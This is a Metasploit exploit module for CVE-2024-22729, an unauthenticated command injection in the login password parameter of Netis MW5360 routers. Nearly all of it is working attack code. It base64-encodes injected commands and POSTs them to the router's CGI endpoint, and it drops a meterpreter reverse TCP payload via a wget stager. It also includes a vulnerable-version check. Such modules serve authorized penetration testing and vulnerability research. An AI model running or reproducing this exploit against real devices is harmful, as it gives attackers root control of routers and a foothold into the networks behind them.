##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Netis router MW5360 unauthenticated RCE.',
'Description' => %q{
Netis router MW5360 has a command injection vulnerability via the password parameter on the login page.
The vulnerability stems from improper handling of the "password" parameter within the router's web interface.
The router's login page authorization can be bypassed by simply deleting the authorization header,
leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable.
Attackers can inject a command in the 'password' parameter, encoded in base64, to exploit the command injection
vulnerability. When exploited, this can lead to unauthorized command execution, potentially allowing the attacker
to take control of the router.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'Adhikara13' # Discovery of the vulnerability
],
'References' => [
['CVE', '2024-22729'],
['URL', 'https://attackerkb.com/topics/MvCphsf4LN/cve-2024-22729'],
['URL', 'https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md']
],
'DisclosureDate' => '2024-01-11',
'Platform' => ['linux'],
'Arch' => [ARCH_MIPSLE],
'Privileged' => true,
'Targets' => [
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_MIPSLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 80
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The Netis MW5360 router endpoint URL', '/' ]),
OptInt.new('CMD_DELAY', [true, 'Delay in seconds between payload commands to avoid locking', 30])
])
end
def execute_command(cmd, _opts = {})
# cleanup payload file when session is established.
if cmd.include?('chmod +x')
register_files_for_cleanup(cmd.split('+x')[1].strip)
end
# skip last command to remove payload because it does not work
unless cmd.include?('rm -f')
payload = Base64.strict_encode64("`#{cmd}`")
print_status("Executing #{cmd}")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_set.cgi'),
'vars_post' => {
'password' => payload,
'quick_set' => 'ap',
'app' => 'wan_set_shortcut'
}
})
end
end
def check
print_status("Checking if #{peer} can be exploited.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_get.cgi'),
'vars_post' => {
'mode_name' => 'skk_get',
'wl_link' => 0
}
})
return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200 && res.body.include?('version')
# trying to get the model and version number
# unfortunately JSON parsing fails, so we need to use this ugly REGEX :-(
version = res.body.match(/.?(version).?\s*:\s*.?((\\|[^,])*)/)
# when found, remove whitespaces and make all uppercase to avoid suprises in string splitting and comparison
unless version.nil?
version_number = version[2].upcase.split('-V')[1].gsub(/[[:space:]]/, '').chop
# The model number part is usually something like Netis(NC63), but occassionally you see things like Stonet-N3D
if version[2].upcase.split('-V')[0].include?('-')
model_number = version[2].upcase.split('-V')[0][/-([^-]+)/, 1].gsub(/[[:space:]]/, '')
else
model_number = version[2].upcase.split('-V')[0][/\(([^)]+)/, 1].gsub(/[[:space:]]/, '')
end
# Check if target is model MW5360 and running firmware 1.0.1.3442 (newest release 2024-04-24) or lower
if version_number && model_number == 'MW5360' && (Rex::Version.new(version_number) <= Rex::Version.new('1.0.1.3442'))
return CheckCode::Appears(version[2].chop.to_s)
end
return CheckCode::Safe(version[2].chop.to_s)
end
CheckCode::Safe
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed
execute_cmdstager(noconcat: true, delay: datastore['CMD_DELAY'])
end
end
end
